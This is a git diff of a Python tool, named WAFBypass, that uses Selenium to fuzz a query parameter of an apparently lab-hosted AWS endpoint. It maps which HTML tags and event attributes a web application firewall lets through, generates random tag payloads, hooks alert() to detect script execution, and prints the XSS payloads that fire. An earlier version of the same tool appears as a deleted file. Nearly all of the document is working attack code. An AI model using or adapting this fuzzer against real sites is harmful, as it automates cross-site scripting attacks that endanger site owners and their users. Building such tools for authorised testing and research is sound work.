|  |         self.options = webdriver.ChromeOptions() | ||||||
|  |         self.options.add_argument('--no-sandbox') | ||||||
|  |         # self.options.add_argument('--headless') | ||||||
|  |         self.options.add_argument('--disable-gpu') | ||||||
|  |         self.options.add_experimental_option( | ||||||
|  |             "excludeSwitches", ["enable-logging"]) | ||||||
|  |         self.unfiltered_attributes = {} | ||||||
|  |         self.unfiltered_tags = [] | ||||||
|  |         self.driver = webdriver.Chrome( | ||||||
|  |             options=self.options, | ||||||
|  |             service=service.Service(service_args=["--log-path=NUL"])) | ||||||
|  |         self.url = urlparse(url) | ||||||
|  |         self.mutator = Mutations() | ||||||
|  |         self.queue = FuzzQueue() | ||||||
|  |         self.threads = [] | ||||||
|  |         self.lock = Lock() | ||||||
|  |         self.payloads = 0 | ||||||
|  | 
 | ||||||
|  |         random.seed(time.time_ns()) | ||||||
|  | 
 | ||||||
|  |         if not self.check_connection(): | ||||||
|  |             raise Exception("Connection Error") | ||||||
|  | 
 | ||||||
|  |         self.driver.execute_cdp_cmd( | ||||||
|  |             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) | ||||||
|  | 
 | ||||||
|  |     def inc_payloads(self): | ||||||
|  |         self.lock.acquire() | ||||||
|  |         self.payloads += 1 | ||||||
|  |         self.lock.release() | ||||||
|  | 
 | ||||||
|  |     def check_connection(self): | ||||||
|  |         try: | ||||||
|  |             self.driver.get(self.url.geturl()) | ||||||
|  |             return True | ||||||
|  |         except: | ||||||
|  |             return False | ||||||
|  | 
 | ||||||
|  |     def wait_for_pageload(self, driver): | ||||||
|  |         try: | ||||||
|  |             WebDriverWait(driver, 4).until( | ||||||
|  |                 lambda driver: driver.execute_script("return document.readyState") == "complete") | ||||||
|  |         except TimeoutError: | ||||||
|  |             raise Exception("Page Load Error") | ||||||
|  | 
 | ||||||
|  |     def get_page_title(self): | ||||||
|  |         return self.driver.title | ||||||
|  | 
 | ||||||
|  |     @property | ||||||
|  |     def is_403(self): | ||||||
|  |         return self.driver.title == "403 Forbidden" | ||||||
|  | 
 | ||||||
|  |     @property | ||||||
|  |     def triggered_xss(self): | ||||||
|  |         return self.driver.execute_script("return window.alert_trigger") | ||||||
|  | 
 | ||||||
|  |     def navigate(self, driver, url): | ||||||
|  |         driver.get(url) | ||||||
|  |         self.wait_for_pageload(driver) | ||||||
|  | 
 | ||||||
|  |         is403 = False | ||||||
|  | 
 | ||||||
|  |         if self.is_403: | ||||||
|  |             is403 = True | ||||||
|  |         else: | ||||||
|  |             is403 = False | ||||||
|  | 
 | ||||||
|  |         triggerxss = self.triggered_xss | ||||||
|  | 
 | ||||||
|  |         return (is403, triggerxss) | ||||||
|  | 
 | ||||||
|  |     def identify_unfiltered_attributes(self): | ||||||
|  |         try: | ||||||
|  |             self.unfiltered_attributes["global"] = [] | ||||||
|  |             self.unfiltered_attributes["events"] = [] | ||||||
|  |             self.unfiltered_attributes["tag_specific"] = {} | ||||||
|  | 
 | ||||||
|  |             for attr in GlobalAttributes: | ||||||
|  |                 encoded = urlencode({self.param: f"{attr}"}) | ||||||
|  |                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |                 is403, _ = self.navigate(self.driver, url) | ||||||
|  |                 if not is403: | ||||||
|  |                     self.unfiltered_attributes["global"].append(attr) | ||||||
|  | 
 | ||||||
|  |             for attr in EventsAttributes: | ||||||
|  |                 encoded = urlencode({self.param: f"{attr}"}) | ||||||
|  |                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |                 is403, _ = self.navigate(self.driver, url) | ||||||
|  |                 if not is403: | ||||||
|  |                     self.unfiltered_attributes["events"].append(attr) | ||||||
|  | 
 | ||||||
|  |             for tag in self.unfiltered_tags: | ||||||
|  |                 if tag not in self.unfiltered_attributes["tag_specific"]: | ||||||
|  |                     self.unfiltered_attributes["tag_specific"][tag.name] = [] | ||||||
|  |                 try: | ||||||
|  |                     for attr in TagSpecificAttributes[tag.name]: | ||||||
|  |                         encoded = urlencode( | ||||||
|  |                             {self.param: f"<{tag.name} {attr}/>"}) | ||||||
|  |                         url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |                         is403, _ = self.navigate(self.driver, url) | ||||||
|  |                         if not is403: | ||||||
|  |                             self.unfiltered_attributes["tag_specific"][tag.name].append( | ||||||
|  |                                 attr) | ||||||
|  |                 except KeyError: | ||||||
|  |                     print(f"Tag {tag.name} not found in TagSpecificAttributes") | ||||||
|  |         except KeyboardInterrupt: | ||||||
|  |             return | ||||||
|  | 
 | ||||||
|  |     def identify_unfiltered_tags(self): | ||||||
|  |         try: | ||||||
|  |             for tag in Tags: | ||||||
|  |                 encoded = urlencode({self.param: f"{tag}"}) | ||||||
|  |                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |                 is403, _ = self.navigate(self.driver, url) | ||||||
|  |                 if not is403: | ||||||
|  |                     self.unfiltered_tags.append(tag) | ||||||
|  |         except KeyboardInterrupt: | ||||||
|  |             return | ||||||
|  | 
 | ||||||
|  |     def dry_run(self): | ||||||
|  |         try: | ||||||
|  |             self.identify_unfiltered_tags() | ||||||
|  |             self.identify_unfiltered_attributes() | ||||||
|  |         except Exception as e: | ||||||
|  |             raise Exception(f"Dry Run Error: {e}") | ||||||
|  |         except KeyboardInterrupt: | ||||||
|  |             return | ||||||
|  | 
 | ||||||
|  |     def get_tag(self): | ||||||
|  |         try: | ||||||
|  |             tag = choice(self.unfiltered_tags) | ||||||
|  |             # make a copy of tag to avoid mutating the original | ||||||
|  |             tag = HTMLTag(tag.name, tag.self_closing) | ||||||
|  |             tag.set_mutator(self.mutator) | ||||||
|  | 
 | ||||||
|  |             nglobattr = choice(range(1, 3)) | ||||||
|  |             nattr = choice(range(1, 3)) | ||||||
|  | 
 | ||||||
|  |             globals = list(self.unfiltered_attributes["global"]) | ||||||
|  | 
 | ||||||
|  |             for _ in range(0, nglobattr): | ||||||
|  |                 if len(globals) == 0: | ||||||
|  |                     break | ||||||
|  |                 attr = choice(globals) | ||||||
|  |                 globals.remove(attr) | ||||||
|  |                 # make a copy of attr to avoid mutating the original | ||||||
|  |                 attr = HTMLAttribute(attr.name, attr.kind, | ||||||
|  |                                      glob=True, root=None) | ||||||
|  |                 tag.add_attribute(attr) | ||||||
|  | 
 | ||||||
|  |             attr = choice(self.unfiltered_attributes["events"]) | ||||||
|  |             # make a copy of attr to avoid mutating the original | ||||||
|  |             attr = HTMLAttribute(attr.name, attr.kind, | ||||||
|  |                                  glob=False, root=None) | ||||||
|  |             tag.add_attribute(attr) | ||||||
|  | 
 | ||||||
|  |             tag_specific = list( | ||||||
|  |                 self.unfiltered_attributes["tag_specific"][tag.name]) | ||||||
|  | 
 | ||||||
|  |             for _ in range(0, nattr): | ||||||
|  |                 if len(tag_specific) == 0: | ||||||
|  |                     break | ||||||
|  |                 attr = choice(tag_specific) | ||||||
|  |                 tag_specific.remove(attr) | ||||||
|  |                 # make a copy of attr to avoid mutating the original | ||||||
|  |                 attr = HTMLAttribute(attr.name, attr.kind, | ||||||
|  |                                      glob=False, root=None) | ||||||
|  |                 tag.add_attribute(attr) | ||||||
|  | 
 | ||||||
|  |             addchildren = { | ||||||
|  |                 70: lambda: False, | ||||||
|  |                 30: lambda: True | ||||||
|  |             } | ||||||
|  | 
 | ||||||
|  |             should_add = choice_percent(addchildren) | ||||||
|  | 
 | ||||||
|  |             if (should_add()): | ||||||
|  |                 tag.children.append(self.get_tag()) | ||||||
|  | 
 | ||||||
|  |             return tag | ||||||
|  |         except KeyboardInterrupt: | ||||||
|  |             return None | ||||||
|  | 
 | ||||||
|  |     def fuzz_thread(self, driver: webdriver.Chrome, started): | ||||||
|  |         driver.execute_cdp_cmd( | ||||||
|  |             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) | ||||||
|  | 
 | ||||||
|  |         while not started: | ||||||
|  |             time.sleep(0.1) | ||||||
|  |             pass | ||||||
|  | 
 | ||||||
|  |         while True: | ||||||
|  |             element = self.queue.pop() | ||||||
|  |             if not element: | ||||||
|  |                 break | ||||||
|  |             encoded = urlencode({self.param: f"{element}"}) | ||||||
|  |             url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |             is403, triggered = self.navigate(driver, url) | ||||||
|  | 
 | ||||||
|  |         # close window | ||||||
|  |         driver.close() | ||||||
|  | 
 | ||||||
|  |     def get_tag_id(self, tag): | ||||||
|  |         tag_ids = [] | ||||||
|  |         tag_ids.append(tag.id) | ||||||
|  |         if len(tag.children) >= 0: | ||||||
|  |             for child in tag.children: | ||||||
|  |                 tag_ids.extend(self.get_tag_id(child)) | ||||||
|  | 
 | ||||||
|  |         return tag_ids | ||||||
|  | 
 | ||||||
|  |     def get_tag_name(self, tag): | ||||||
|  |         tag_names = [] | ||||||
|  |         tag_names.append(tag.nameattr) | ||||||
|  |         if len(tag.children) >= 0: | ||||||
|  |             for child in tag.children: | ||||||
|  |                 tag_names.extend(self.get_tag_name(child)) | ||||||
|  | 
 | ||||||
|  |         return tag_names | ||||||
|  | 
 | ||||||
|  |     def get_ids(self, tags): | ||||||
|  |         tag_ids = [] | ||||||
|  |         for tag in tags: | ||||||
|  |             tag_ids.extend(self.get_tag_id(tag)) | ||||||
|  |         return tag_ids | ||||||
|  | 
 | ||||||
|  |     def get_names(self, tags): | ||||||
|  |         tag_names = [] | ||||||
|  |         for tag in tags: | ||||||
|  |             tag_names.extend(self.get_tag_name(tag)) | ||||||
|  |         return tag_names | ||||||
|  | 
 | ||||||
|  |     def populate_ids_names(self, tags): | ||||||
|  |         ids = self.get_ids(tags) | ||||||
|  |         names = self.get_names(tags) | ||||||
|  | 
 | ||||||
|  |         def populate(tag, ids=ids, names=names): | ||||||
|  |             tag.ids = ids | ||||||
|  |             tag.names = names | ||||||
|  |             for child in tag.children: | ||||||
|  |                 populate(child) | ||||||
|  | 
 | ||||||
|  |         for tag in tags: | ||||||
|  |             populate(tag) | ||||||
|  | 
 | ||||||
|  |     def test(self): | ||||||
|  |         try: | ||||||
|  |             self.dry_run() | ||||||
|  | 
 | ||||||
|  |             print("Starting fuzzer") | ||||||
|  | 
 | ||||||
|  |             while True: | ||||||
|  |                 tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))] | ||||||
|  |                 self.populate_ids_names(tags) | ||||||
|  |                 payload = TagList(tags) | ||||||
|  |                 encoded = urlencode({self.param: f"{payload}"}) | ||||||
|  |                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" | ||||||
|  |                 is403, triggered = self.navigate(self.driver, url) | ||||||
|  |                 if triggered: | ||||||
|  |                     print(f"XSS Payload: {payload}") | ||||||
|  |                 self.driver.execute_script( | ||||||
|  |                     self.trigger.format(self.get_ids(tags))) | ||||||
|  |                 triggered = self.triggered_xss | ||||||
|  |                 if triggered: | ||||||
|  |                     print(f"XSS Payload: {payload}") | ||||||
|  | 
 | ||||||
|  |         except KeyboardInterrupt: | ||||||
|  |             print("Stopping fuzzer") | ||||||
|  |             self.driver.close() | ||||||
|  |             return | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | w = WAFBypass( | ||||||
|  |     "http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2") | ||||||
|  | w.test() | ||||||
							
								
								
									
										94
									
								
								xzzuf.py
									
									
									
									
									
								
							
							
						
						
									
										94
									
								
								xzzuf.py
									
									
									
									
									
								
							| @ -1,94 +0,0 @@ | |||||||
| from urllib.parse import unquote |  | ||||||
| import selenium |  | ||||||
| import time |  | ||||||
| from selenium import webdriver |  | ||||||
| from selenium.webdriver.support.ui import WebDriverWait |  | ||||||
| from urllib.parse import urlparse |  | ||||||
| from urllib.parse import urlencode |  | ||||||
| 
 |  | ||||||
| from tags import Attributes |  | ||||||
| 
 |  | ||||||
| # WAFBypass class |  | ||||||
| 
 |  | ||||||
| from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType |  | ||||||
| 
 |  | ||||||
| t = HTMLTag("form") |  | ||||||
| i = HTMLTag("input", self_closing=True) |  | ||||||
| i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText)) |  | ||||||
| t.children.append(i) |  | ||||||
| print(t) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| class WAFBypass(): |  | ||||||
|     code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" |  | ||||||
| 
 |  | ||||||
|     def __init__(self, url) -> None: |  | ||||||
|         self.options = webdriver.ChromeOptions() |  | ||||||
|         self.options.add_argument('--no-sandbox') |  | ||||||
|         self.options.add_argument('--headless') |  | ||||||
|         self.driver = webdriver.Chrome(options=self.options) |  | ||||||
|         self.url = urlparse(url) |  | ||||||
| 
 |  | ||||||
|         if not self.check_connection(): |  | ||||||
|             raise Exception("Connection Error") |  | ||||||
| 
 |  | ||||||
|         self.driver.execute_cdp_cmd( |  | ||||||
|             "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) |  | ||||||
| 
 |  | ||||||
|     def check_connection(self): |  | ||||||
|         try: |  | ||||||
|             self.driver.get(self.url.geturl()) |  | ||||||
|             return True |  | ||||||
|         except: |  | ||||||
|             return False |  | ||||||
| 
 |  | ||||||
|     def wait_for_pageload(self): |  | ||||||
|         try: |  | ||||||
|             WebDriverWait(self.driver, 4).until( |  | ||||||
|                 lambda driver: driver.execute_script("return document.readyState") == "complete") |  | ||||||
|         except TimeoutError: |  | ||||||
|             raise Exception("Page Load Error") |  | ||||||
| 
 |  | ||||||
|     def get_page_title(self): |  | ||||||
|         return self.driver.title |  | ||||||
| 
 |  | ||||||
|     @property |  | ||||||
|     def is_403(self): |  | ||||||
|         return self.driver.title == "403 Forbidden" |  | ||||||
| 
 |  | ||||||
|     @property |  | ||||||
|     def triggered_xss(self): |  | ||||||
|         return self.driver.execute_script("return window.alert_trigger") |  | ||||||
| 
 |  | ||||||
|     def navigate(self, url): |  | ||||||
|         self.driver.get(url) |  | ||||||
|         self.wait_for_pageload() |  | ||||||
| 
 |  | ||||||
|         is403 = False |  | ||||||
| 
 |  | ||||||
|         if self.is_403: |  | ||||||
|             is403 = True |  | ||||||
|         else: |  | ||||||
|             is403 = False |  | ||||||
| 
 |  | ||||||
|         triggerxss = self.triggered_xss |  | ||||||
| 
 |  | ||||||
|         return (is403, triggerxss) |  | ||||||
| 
 |  | ||||||
|     def run_fuzz(self): |  | ||||||
|         try: |  | ||||||
|             for attr in Attributes: |  | ||||||
|                 # print(f"[*] Testing {attr.name} attribute {attr}") |  | ||||||
|                 encoded = urlencode({"param2": f"{attr}"}) |  | ||||||
|                 url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" |  | ||||||
|                 # print(url) |  | ||||||
|                 is403, trigger = self.navigate(url) |  | ||||||
|                 if not is403: |  | ||||||
|                     print(f"[+] {attr.name} attribute is not filtered") |  | ||||||
|         except KeyboardInterrupt: |  | ||||||
|             self.driver.close() |  | ||||||
|             exit(0) |  | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
| w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") |  | ||||||
| w.run_fuzz() |  | ||||||
		Loading…
	
		Reference in New Issue
	
	Block a user